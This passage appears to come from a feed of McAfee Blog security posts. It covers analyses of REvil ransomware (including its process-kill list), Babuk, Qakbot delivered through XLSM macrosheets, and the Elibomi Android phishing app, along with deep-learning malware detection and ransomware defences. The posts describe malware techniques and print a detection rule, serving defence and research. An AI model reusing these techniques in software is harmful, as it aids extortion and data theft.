The ransomware uses the RC4 algorithm to decrypt the config file which has all the information that supports the encryption process.

Figure-3: REvil Config File

Then it performs a UI language check using GetSystemDefaultUILanguage/GetUserDefaultUILanguage functions and compares it with a hardcoded list which contains the language ID of several countries as shown in below image.

Figure-4: Language Check

Countries excluded from this ransomware attack are mentioned below:

Additionally, the ransomware checks the users keyboardlayout and it skips the ransomware infection in the machine’s which are present in the country list above.

Figure-5: Keyboardlayout check

Ransomware creates a Global mutex in the infected machine to mark its presence.

Figure-6: Global Mutex

After creating the mutex, the ransomware deletes the files in the recycle bin using the SHEmptyRecycleBinW function to make sure that no files are restored post encryption.

Figure-7: Empty Recycle Bin

Then it enumerates all the active services with the help of the EnumServicesStatusExW function and deletes services if the service name matches the list present in the config file. The image below shows the list of services checked by the ransomware.

Figure-8: Service List check

It calls the CreateToolhelp32Snapshot, Process32FirstW and Process32NextW functions to enumerate running processes and terminates those matching the list present in the config file.  The following processes will be terminated.

• allegro
• steam
• xtop
• ocssd
• xfssvccon
• onenote
• isqlplussvc
• msaccess
• powerpnt
• cad
• sqbcoreservic
• thunderbird
• oracle
• infopath
• dbeng50
• pro_comm_msg
• agntsvc
• thebat
• firefox
• ocautoupds
• winword
• synctime
• tbirdconfig
• mspub
• visio
• sql
• ocomm
• orcad
• mydesktopserv
• dbsnmp
• outlook
• cadence
• excel
• wordpad
• creoagent
• encsvc
• mydesktopqos

Then, it encrypts files using the Salsa20 algorithm and uses multithreading for fast encryption of the files. Later, background wallpaper will be set with a ransom message.

Figure-9: Desktop Wallpaper

Finally, the ransomware displays ransom notes in the victim’s machine. Below is an image of readme.txt which is dropped in the infected machine.

Figure-10: Ransom Note

IOCs and Coverage

Expert rules allow McAfee customers to extend their coverage. This rule covers this REvil ransomware behaviour.

MITRE

Conclusion

McAfee observed that the REvil group has utilized oracle web logic vulnerability (CVE-2019-2725) to spread the ransomware last year and used kaseya’s VSA application recently for their ransomware execution, with the help of DLL sideloading. REvil uses many vulnerability applications for ransomware infections, however the encryption technique remains the same. McAfee recommends making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.

The post REvil Ransomware Uses DLL Sideloading appeared first on McAfee Blog.

The overarching threat facing cyber organizations today is a highly skilled asymmetric enemy, well-funded and resolute in his task and purpose.   You never can exactly tell how they will come at you, but come they will.  It’s no different than fighting a kinetic foe in that, before you fight, you must choose your ground and study your enemy’s tendencies.

A lot of focus has been placed on tools and updating technology, but often we are pushed back on our heels and find ourselves fighting a defensive action.

But what if we change?  How do we do that?

The first step is to study the battlefield, understand what you’re trying to protect and lay down your protection strategy.  Pretty basic right??

Your technology strategy is very important, but you must embrace and create a thorough Cyber Threat Intelligence (CTI) doctrine which must take on many forms.

First, there is data, and lots of it.  However, the data must take specific forms to research and detect nascent elements where the adversary is attempting to catch you napping or give you the perception that the activity you see is normal.

As you pool this data, it must be segmented into layers and literally mapped to geographic locations across the globe.  The data is classified distinctly as malicious and reputations are applied.  This is a vital step in that it enables analytical programs, along with human intelligence analysts to apply the data within intelligence reports which themselves can take on many forms.

Once the data takes an analytic form, then it allows organizations to forensically piece together a picture of an attack.  This process is painstakingly tedious but necessary to understand your enemy and his tendencies.  Tools are useful, but it’s always the human in the loop that will recognize the tactical and strategic implications of an adversary’s moves. Once you see the picture, it becomes real, and then you’re able to prepare your enterprise for the conflict that follows.

Your early warning and sensing strategy must incorporate this philosophy.  You must sense, collect, exploit, process, produce and utilize each intelligence product that renders useful information.  It’s this process that will enable any organization to move decisively to and stay “left of boom”.

The McAfee Advanced Programs Group (APG) was created eight years ago to support intelligence organizations that embrace and maintain a strong CTI stance.  Its philosophy is to blend people, processes, data and a strong intelligence heritage to enable our customers to understand the cyber battlefield to proactively protect, but “maneuver” when necessary to avoid an attack.

APG applies three key disciplines or mission areas to provide this support.

First, we developed an internal tool called the Advanced Threat Landscape Analysis System (ATLAS).  This enables our organization to apply our malicious threat detections to a geospatial map display to see where we’re seeing malicious data.  ATLAS draws from our global network of billions of threat sensors to see trillions of detections each day, but enables our analysts to concentrate on the most malicious activity.  Then we’re better able to research and report accurate threat landscape information.

The second leg in the stool is our analytical staff, the true cyber ninjas that apply decades of experience supporting HUMINT operations across the globe and a well-established intelligence-based targeting philosophy to the cyber environment.  The result is a true understanding of the cyber battlefield enabling the leadership to make solid “intelligence-based” decisions.

Finally, the third leg is our ability to develop custom solutions and interfaces to adapt in a very custom way our ability to see and study data.  We have the ability to leverage 2.8 billion malicious detections, along with 20 other distinct malicious feeds, to correlate many different views, just not the McAfee view.  We interpret agnostically.

These three legs provide APG a powerful CTI advantage allowing our customers to adapt and respond to events by producing threat intelligence dynamically. When using this service it allows the customer to be fully situationally aware in a moments notice (visual command and control). Access to the data alone is an immense asset to any organization.  This allows each customer not only to know what their telemetry is, but also provides real time insights into the entire world ecosystem. Finally, the human analysis alone is immensely valuable.  It allows for the organizations to read and see/understand what it all means (the who, what, where and why).   “The so what!!”

The post An Overall Philosophy on the Use of Critical Threat Intelligence appeared first on McAfee Blog.

In 2021 ransomware attacks have been dominant among the bigger cyber security stories. Hence, I was not surprised to see that McAfee’s June 2021 Threat report is primarily focused on this topic.

This report provides a large range of statistics using the McAfee data lake behind MVISION Insights, including the Top MITRE ATT&CK Techniques. In this report I highlight the following MITRE techniques:

1. Spear phishing links (Initial Access)
2. Exploit public-facing applications (Initial Access)
3. Windows Command Shell (Execution)
4. User execution (Execution)
5. Process Injection (Privilege escalation)
6. Credentials from Web Browsers (Credential Access)
7. Exfiltration to Cloud Storage (Exfiltration)

I also want to highlight one obvious technique which remains common across all ransomware attacks at the end of the attack lifecycle:

8. Data encrypted for impact (Impact)

Traditional defences based on anti-malware signatures and web protection against known malicious domains and IP addresses can be insufficient to protect against these techniques. Therefore, for the rest of this article, I want to cover a few recent McAfee innovations which can make a big difference in the fight against ransomware.

Unified Cloud Edge with Remote Browser Isolation

The following three ransomware techniques are linked to web access:

• Spear phishing links
• User execution
• Exfiltration to Cloud Storage

Moreover, most ransomware attacks require some form of access to a command-and-control server to be fully operational.

McAfee Remote Browser Isolation (RBI) ensures no malicious web content ever even reaches enterprise endpoints’ web browsers by isolating all browsing activity to unknown and risky websites into a remote virtual environment. With spear phishing links, RBI works best when running the mail client in the web browser. The user systems cannot be compromised if web code or files cannot run on them, making RBI the most powerful form of web threat protection available. RBI is included in most McAfee United Cloud Edge (UCE) licenses at no additional cost.

Figure 1. Concept of Remote Browser Isolation

McAfee Client Proxy (MCP) controls all web traffic, including ransomware web traffic initiated without a web browser by tools like MEGAsync and Rclone. MCP is part of McAfee United Cloud Edge (UCE).

Protection Against Fileless Attacks

The following ransomware techniques are linked to fileless attacks:

• Windows Command Shell (Execution)
• Process Injection (Privilege escalation)
• User Execution (Execution)

Many ransomware attacks also use PowerShell.

Figure 2. Example of an attack kill chain with fileless

McAfee provides a large range of technologies which protect against fileless attack methods, including McAfee ENS (Endpoint Security) Exploit prevention and McAfee ENS 10.7 Adaptive Threat Protection (ATP). Here are few examples of Exploit Prevention and ATP rules:

• Exploit 6113-6114-6115-6121 Fileless threat: self-injection
• Exploit 6116-6117-6122: Mimikatz suspicious activity
• ATP 316: Prevent PDF readers from starting cmd.exe
• ATP 502: Prevent new services from being created via sc.exe or powershell.exe

Regarding the use on Mimikatz in the example above, the new McAfee ENS 10.7 ATP Credential Theft Protection is designed to cease attacks against Windows LSASS so that you do not need to rely on the detection of Mimikatz.

Figure 3. Example of Exploit Prevention rules related to Mimikatz

ENS 10.7 ATP is now included in most McAfee Endpoint Security licenses at no additional cost.

Proactive Monitoring and Hunting with MVISION EDR

To prevent initial access, you also need to reduce the risks linked to the following technique:

• Exploit public facing applications (Initial Access)

For example, RDP (Windows Remote Desktop Protocol) is a common initial access used by ransomware attacks. You may have a policy that already prohibits or restricts RDP but how do you know it is enforced on every endpoint?

With MVISION EDR (Endpoint Detection and Response) you can perform a real time search across all managed systems to see what is happening right now.

Figure 4. MVISION EDR Real-time Search to verify if RDP is enabled or disabled on a system

Figure 5. MVISION EDR Real-time Search to identify systems with active connections on RDP

MVISION EDR maintains a history of network connections inbound and outbound from the client. Performing an historical search for network traffic could identify systems that actively communicated on port 3389 to unauthorized addresses, potentially detecting attempts at exploitation.

MVISION EDR also enables proactive monitoring by a security analyst. The Monitoring Dashboard helps the analyst in the SOC quickly triage suspicious behavior.

For more EDR use cases related to ransomware see this blog article.

Actionable Threat Intelligence

With MVISION Insights you do not need to wait for the latest McAfee Threat Report to be informed on the latest ransomware campaigns and threat profiles. With MVISION Insights you can easily meet the following use cases:

• Proactively assess your organization’s exposure to ransomware and prescribe how to reduce the attack surface:
  • Detect whether you have been hit by a known ransomware campaign
  • Run a Cyber Threat Intelligence program despite a lack of time and expertise
  • Prioritize threat hunting using the most relevant indicators

These use cases are covered in the webinar How to fight Ransomware with the latest McAfee innovations.

Regarding the following technique from the McAfee June 2021 Threat Report:

Credentials from Web Browsers (Credential Access)

MVISION Insights can display the detections in your environment as well as prevalence statistics.

Figure 6. Prevalence statistics from MVISION Insights on the LAZAGNE tool

MVISION Insights is included in several Endpoint Security licenses.

Rollback of Ransomware Encryption

Now we are left with the last technique in the attack lifecycle:

• Data encrypted for impact (Impact)

McAfee ENS 10.7 Adaptive Threat Protection (ATP) provides dynamic application containment of suspicious processes and enhanced remediation with an automatic rollback of the ransomware encryption.

Figure 7. Configuration of Rollback remediation in ENS 10.7

You can see how files impacted by ransomware can be restored through Enhanced Remediation in this video. For more best practices on tuning Dynamic Application Containment rules, check the knowledge base article here.

Additional McAfee Protection Against Ransomware

Last year McAfee released this blog article covering additional capabilities from McAfee Endpoint Security (ENS), Endpoint Detection and Response (EDR) and the Management Console (ePO) against ransomware including:

• ENS Exploit prevention
• ENS Firewall
• ENS Web control
• ENS Self protection
• ENS Story Graph
• ePO Protection workspace
• Additional EDR use cases against ransomware

Summary

To increase your protection against ransomware you might already be entitled to:

• ENS 10.7 Adaptive Threat Protection
• Unified Cloud Edge with Remote Browser Isolation and McAfee Client Proxy
• MVISION Insights
• MVISION EDR

If you are, you should start using them as soon as possible, and if you are not, contact us.

The post Fighting new Ransomware Techniques with McAfee’s Latest Innovations appeared first on McAfee Blog.

Co-written with Northwave’s Noël Keijzer.

Executive Summary

For a long time, ransomware gangs were mostly focused on Microsoft Windows operating systems. Yes, we observed the occasional dedicated Unix or Linux based ransomware, but cross-platform ransomware was not happening yet. However, cybercriminals never sleep and in recent months we noticed that several ransomware gangs were experimenting with writing their binaries in the cross-platform language Golang (Go).

Our worst fears were confirmed when Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems. Many core backend systems in companies are running on these *nix operating systems or, in the case of virtualization, think about the ESXi hosting several servers or the virtual desktop environment.

We touched upon this briefly in our previous blog, together with the many coding mistakes the Babuk team is making.

Even though Babuk is relatively new to the scene, its affiliates have been aggressively infecting high-profile victims, despite numerous problems with the binary which led to a situation in which files could not be retrieved, even if payment was made.

Ultimately, the difficulties faced by the Babuk developers in creating ESXi ransomware may have led to a change in business model, from encryption to data theft and extortion.

Indeed, the design and coding of the decryption tool are poorly developed, meaning if companies decide to pay the ransom, the decoding process for encrypted files can be really slow and there is no guarantee that all files will be recoverable.

Coverage and Protection Advice

McAfee’s EPP solution covers Babuk ransomware with an array of prevention and detection techniques.

McAfee ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-Babuk!. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Initially, in our research the entry vector and the complete tactics, techniques and procedures (TTPs) used by the criminals behind Babuk remained unclear.

However, when its affiliate recruitment advertisement came online, and given the specific underground meeting place where Babuk posts, defenders can expect similar TTPs with Babuk as with other Ransomware-as-a-Service families.

In its recruitment posting Babuk specifically asks for individuals with pentest skills, so defenders should be on the lookout for traces and behaviors that correlate to open source penetration testing tools like winPEAS, Bloodhound and SharpHound, or hacking frameworks such as CobaltStrike, Metasploit, Empire or Covenant. Also be on the lookout for abnormal behavior of non-malicious tools that have a dual use, such as those that can be used for things like enumeration and execution, (e.g., ADfind, PSExec, PowerShell, etc.) We advise everyone to read our blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).

Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common amongst ransomware criminals:

• E-mail Spearphishing (T1566.001). Often used to directly engage and/or gain an initial foothold, the initial phishing email can also be linked to a different malware strain, which acts as a loader and entry point for the ransomware gangs to continue completely compromising a victim’s network. We have observed this in the past with Trickbot and Ryuk, Emotet and Prolock, etc.
• Exploit Public-Facing Application (T1190) is another common entry vector; cyber criminals are avid consumers of security news and are always on the lookout for a good exploit. We therefore encourage organizations to be fast and diligent when it comes to applying patches. There are numerous examples in the past where vulnerabilities concerning remote access software, webservers, network edge equipment and firewalls have been used as an entry point.
• Using valid accounts (T1078) is and has been a proven method for cybercriminals to gain a foothold. After all, why break the door if you have the keys? Weakly protected Remote Desktop Protocol (RDP) access is a prime example of this entry method. For the best tips on RDP security, we would like to highlight our blog explaining RDP security.
• Valid accounts can also be obtained via commodity malware such as infostealers, that are designed to steal credentials from a victim’s computer. Infostealer logs containing thousands of credentials are purchased by ransomware criminals to search for VPN and corporate logins. As an organization, robust credential management and multi-factor authentication on user accounts is an absolute must have.

When it comes to the actual ransomware binary, we strongly advise updating and upgrading your endpoint protection, as well as enabling options like tamper protection and rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.

Summary of the Threat

• A recent forum announcement indicates that the Babuk operators are now expressly targeting Linux/UNIX systems, as well as ESXi and VMware systems
• Babuk is riddled with coding mistakes, making recovery of data impossible for some victims, even if they pay the ransom
• We believe these flaws in the ransomware have led the threat actor to move to data theft and extortion rather than encryption

Learn more about how Babuk is transitioning away from an encryption/ransom model to one focused on pure data theft and extortion in our detailed technical analysis.

The post Babuk: Biting off More than they Could Chew by Aiming to Encrypt VM and *nix Systems? appeared first on McAfee Blog.

Written by: Lakshya Mathur

Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.  

With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections. 

Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc. 

The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware. 

Detailed Technical Analysis 

XLSM Structure 

XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros. 

Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below. 

• _rels contains the starting package-level relationship. 
• docProps contains the metadata of the excel file. 
• xl folder contains the actual contents of the file. 
• [Content_Types].xml has references to the XML files present within the above folders. 

We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets. 

These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog. 

To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e. 

Infection Chain

The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function. 

XLSM Threat Analysis 

On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.

On digging deeper, we see its internal workbook.xml file. 

Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.  

As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6. 

These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings. 

Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags. 

<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures. 

When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below. 

Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc. 

Coverage and prevention guidance: 

McAfee’s Endpoint products detect this variant of malware as below: 

The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files. 

Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern. 

Rule { 

    Process { 

        Include OBJECT_NAME { -v “EXCEL.exe” } 

    } 

Target { 

        Match PROCESS { 

            Include OBJECT_NAME { -v “rundll32.exe” } 

                      Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }  

                            Include -access “CREATE” 

         } 

  } 

} 

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat. 

Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform. 

• T1064(Scripting): Use of Excel 4.0 macros and different excel formulas to download the malicious payload. 
• Defense Evasion (T1218.011): Execution of Signed binary to abuse Rundll32.exe and proxy executes the malicious code is observed in this Qakbot variant.  
• Defense Evasion (T1562.001): Office file tries to convince a victim to disable security features by using a clean-looking image. 
• Command and Control(T1071): Use of Application Layer Protocol HTTP to connect to the web and then downloads the malicious payload. 

Conclusion 

XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc. 

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose. 

The post XLSM Malware with MacroSheets appeared first on McAfee Blog.

Co-written by Catherine Huang, Ph.D. and Abhishek Karnik 

Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.  

Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data. 

1. CNN on Raw Bytes 

The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.  

2. Experimental Results 

For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.  

In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.  

One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920. 

In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.  

3. Visual Explanation 

To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier. 

We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually. 

4. Human analysis to understand the ML decision and XAI  

To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware families. In some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in time. It’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket. 

We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.  

We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.  

In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.  

We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community. 

The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blog.

Authored by ChanUng Pak  

McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices. 

During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app. 

We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available. 

Pretending to be an app from the Income Tax Department in India 

The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021. 

Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions 

After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device: 

Figure 2. Elibomi stealing SMS messages 

Prevention and defense 

Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps: 

• Have a reliable and updated security application like McAfee Mobile Security installed in your mobile devices to protect you against this and other malicious applications. 
• Do not click on suspicious links received from text messages or social media, particularly from unknown sources. Always double check by other means if a contact that sends a link without context was really sent by that person because it could lead to the download of a malicious application. 

Conclusion 

Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services. 

McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com 

For those interested in a deeper dive into our research… 

Distribution method and stolen data exposed on the Internet 

During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return: 

Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware 

Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices: 

Figure 4. Example of account information exposed in one of the C2 servers

If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible: 

Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India 

Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right: 

Figure 6. Different malicious applications for different users

During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund: 

Figure 7. Fake iMobile screens designed to capture personal and financial information 

The sensitive financial information provided by the tricked user is also exposed on the Internet: 

Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app 

Related Fake IT Certificate applications 

The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020.  In the following figure we can see the similarities in the code between the two malware campaigns: 

Figure 9. Code similarity between Elibomi campaigns 

The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device: 

Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background 

Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign: 

Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile” 

Interesting string obfuscation technique 

The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value

Figure 12. Calling the de-obfuscation method with different parameters 

Figure 13. String de-obfuscation method 

Figure 14. String de-obfuscation table 

